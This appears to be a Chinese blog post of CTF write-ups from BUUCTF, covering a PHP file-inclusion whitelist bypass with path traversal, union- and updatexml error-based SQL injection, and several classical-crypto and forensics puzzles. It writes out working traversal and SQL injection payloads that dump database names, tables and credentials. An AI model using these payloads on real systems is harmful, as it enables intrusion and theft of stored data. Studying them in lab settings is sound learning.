每周刷题(一)

3 篇文章 0 订阅
1 篇文章 0 订阅

题目来源:BUUCTF

0×00 [HCTF 2018]WarmUp

打开题目给了个链接:http://9b596859-35ea-451c-b4a9-8499102976f2.node3.buuoj.cn/

打开链接是张滑稽图片,查看源码


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="ie=edge">
    <title>Document</title>
</head>
<body>
    <!--source.php-->
    
    <br><img src="https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg" /></body>
</html>

发现了source.php

进入source.php找到源代码

<?php
    highlight_file(__FILE__);
    class emmm
    {
        public static function checkFile(&$page)
        {
            $whitelist = ["source"=>"source.php","hint"=>"hint.php"];
            if (! isset($page) || !is_string($page)) {
                echo "you can't see it";
                return false;
            }

            if (in_array($page, $whitelist)) {
                return true;
            }

            $_page = mb_substr(
                $page,
                0,
                mb_strpos($page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }

            $_page = urldecode($page);
            $_page = mb_substr(
                $_page,
                0,
                mb_strpos($_page . '?', '?')
            );
            if (in_array($_page, $whitelist)) {
                return true;
            }
            echo "you can't see it";
            return false;
        }
    }

    if (! empty($_REQUEST['file'])
        && is_string($_REQUEST['file'])
        && emmm::checkFile($_REQUEST['file'])
    ) {
        include $_REQUEST['file'];
        exit;
    } else {
        echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
    }  
?>

代码开头找到了hint.php
在这里插入图片描述
flag不在这。

对源码的理解:

白名单里有,source.php和hint.php

第一个if语句:
判断$page是否为空 或者  $page是否为字符串,是空或者不是字符串返回false,不是空或者为字符串返回为true

第二个if语句:
判断$page是否在$whitelist,存在返回为true
从零开始截取$page,截取长度由?在$page的位置决定(也就是截取?号之前的字符串)

第三个if语句;

截取之后再次判断$page是否存在$whitelist数组中,存在返回为true

并且对$page进行url解码

再次对$page截取

截取之后再次判断$page是否存在$whitelist,存在返回为true

第四个if语句:

file需要满足三个条件:
1.不能为空
2.是字符串
3.还要通过check file()函数的检查

满足就可以进一步找到包含flag的文件

不满足打印滑稽表情



flag不在hint.php里,那么应该在source.php里,而且还要确保$page的参数在$whitelist里,?截取之后的$page还在$whitelist里;服务器端提取参数时会对?进行url解码,check file()里会对?再一次进行url解码,所以我们需要对进行二次编码。

十六进制

+   %20   
/   %2F   
?   %3F   
%   %25   
#   %23   
&   %26  

所以,我们构造payload:?file=source.php%253f/../../../../../ffffllllaaaagggg满足四个条件。
也可以是?file=source.php?/../../../../../ffffllllaaaagggg四个if语句满足其一也行。

之所以使用/…/…/…/…/…/是因为目录穿越是通过使用 …/ 等目录控制序列或者文件的绝对路径来访问存储在文件系统上的任意文件和目录,特别是应用程序源代码、配置文件、重要的系统文件等。

0×01 [极客大挑战 2019]EasySQL

在这里插入图片描述
先判断闭合点,1'
在这里插入图片描述
报错了说明闭合点就是'

下面判断列数,构造payload:?username=1&password=1' oerder by 1 %23因为是get方式,所以我们需要将注释符#经过url编码%23

判断出列数为3,再次构造payload:?username=1&password=1' union select 1,2,(database()) %23
直接得到flag

在这里插入图片描述
看大佬的博客,直接一句话:直接 username 永真 就过了

1’ or 1=1 #
在这里插入图片描述
这操作我吐了。

0×02 [极客大挑战 2019]HardSQL

嗯哼

在这里插入图片描述
测试了一下,闭合符号还是'

依旧是username=1&password=1' order by 5 %23

在这里插入图片描述
这就尴尬了,思路全无…

看了大佬wp,并学习了报错注入的我回来了

构造payload:?username=1&password=1'or(updatexml(1,concat(0x7e,database(),0x7e),1))%23

查看数据库

在这里插入图片描述

出来了geek!!!

再次构造payload:?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database())),0x7e),1))%23

不得不说这个payload真的是难搞,搞了n次

在这里插入图片描述

表名也出来了

再次构造payload:?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')),0x7e),1))%23

得到了用户名,密码字段
在这里插入图片描述
再次构造payload:?username=1&password=1'or(updatexml(1,concat(0x7e,(select(group_concat(username,0x7e,password))from(H4rDsq1)),0x7e),1))%23

在这里插入图片描述
得到了一半的flag,然后利用right!
构造payload:?username=1 &password=1'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)),0x7e),1))%23
在这里插入图片描述
前面和后面的对照一下,删除一些字符,拼接就能得到flag!

这web题真的是费劲!

0×03 [BJDCTF 2nd]燕言燕语-y1ng

打开题目,得到一串数字:79616E7A69205A4A517B78696C7A765F6971737375686F635F73757A6A677D20
0-9,A-F感觉是十六进制,就转换一下得到yanzi ZJQ{xilzv_iqssuhoc_suzjg}

经过维吉尼亚解密,密钥yanzi,得到flag:BJD{yanzi_jiushige_shabi}(别问我为啥是维吉尼亚,我也不知道)

0×04 传统知识+古典密码

下载得到附件

我稍微进行了修改一下

在这里插入图片描述
emmmXZSDMFLZ
打开密码软件,栅栏密码试一下,得到了几栏结果

在这里插入图片描述
用前四个结果,再来一次凯撒。

最后找到了
在这里插入图片描述
SHUANGYU,emmmmm,提交成功了!

0×05[GKCTF2020]小学生的密码学

在这里插入图片描述
这也是第一次见这道题,是仿射加密类型的

找个在线解密网站

在这里插入图片描述

sorcery
在这里插入图片描述

0×06 rar

在这里插入图片描述
下载附件需要输入纯四位数字的密码

直接打开ARPR进行暴力破解,不一会密码就出来了

在这里插入图片描述
就得到了flag。

0×07 文件中的秘密

打开是一张图片

在这里插入图片描述
直接拉进winhex分析,在winhex里搜索flag。

在这里插入图片描述
提交就对了。

0×08 qr

里面是一张二维码,扫一下就得到了flag。

0×09 wireshark

在这里插入图片描述

是一张流量表
在这里找到登录信息
在这里插入图片描述
双击找密码

在这里插入图片描述
提交flag就对了!!!

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
对于LeetCode,我可以提供一些指导和建议。LeetCode是一个非常受欢迎的在线编程平台,提供了大量的编程目,涵盖各种算法和数据结构的知识点。 要有效地LeetCode目,以下是一些建议: 1. 熟悉常见的数据结构和算法:在开始之前,你需要对常见的数据结构(如数组、链表、栈、队列、树等)和算法(如排序、查找、递归、动态规划等)有一定的了解。 2. 顺序:可以按照目的难度或者类型进行。刚开始可以选择一些简单的目,逐渐提升到中等和困难难度的目。另外,可以按照目类型进行分类,比如数组、链表、树等。 3. 目分析:在开始解之前,仔细阅读目,并理解问的要求。可以考虑一些边界情况和特殊情况。 4. 设计合适的解决方案:根据目要求,设计出符合要求的解决方案。可以先在纸上画图或者写伪代码,再实现代码。 5. 编写高质量的代码:编写代码时,注意代码的可读性、可维护性和效率。可以考虑使用适当的数据结构和算法来优化代码。 6. 调试和测试:编写完代码后,进行调试和测试,确保代码能够正确地解决问。 7. 多解法比较:对于一道目,可以尝试不同的解法,比较它们的优劣,并分析其时间复杂度和空间复杂度。 8. 学习他人的解法:在过程中,可以参考他人的解思路和代码,并学习其中的优秀之处。 9. 计划:可以制定一个计划,每天或每周一定数量的目,并坚持下去。 10. 总结和复习:在过程中,及时总结自己的思考和解过程,对于一些常见的算法和技巧进行复习和加深理解。 希望以上的建议对你有所帮助。祝你在LeetCode中取得好成绩!如果你有其他问,也欢迎继续提问。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值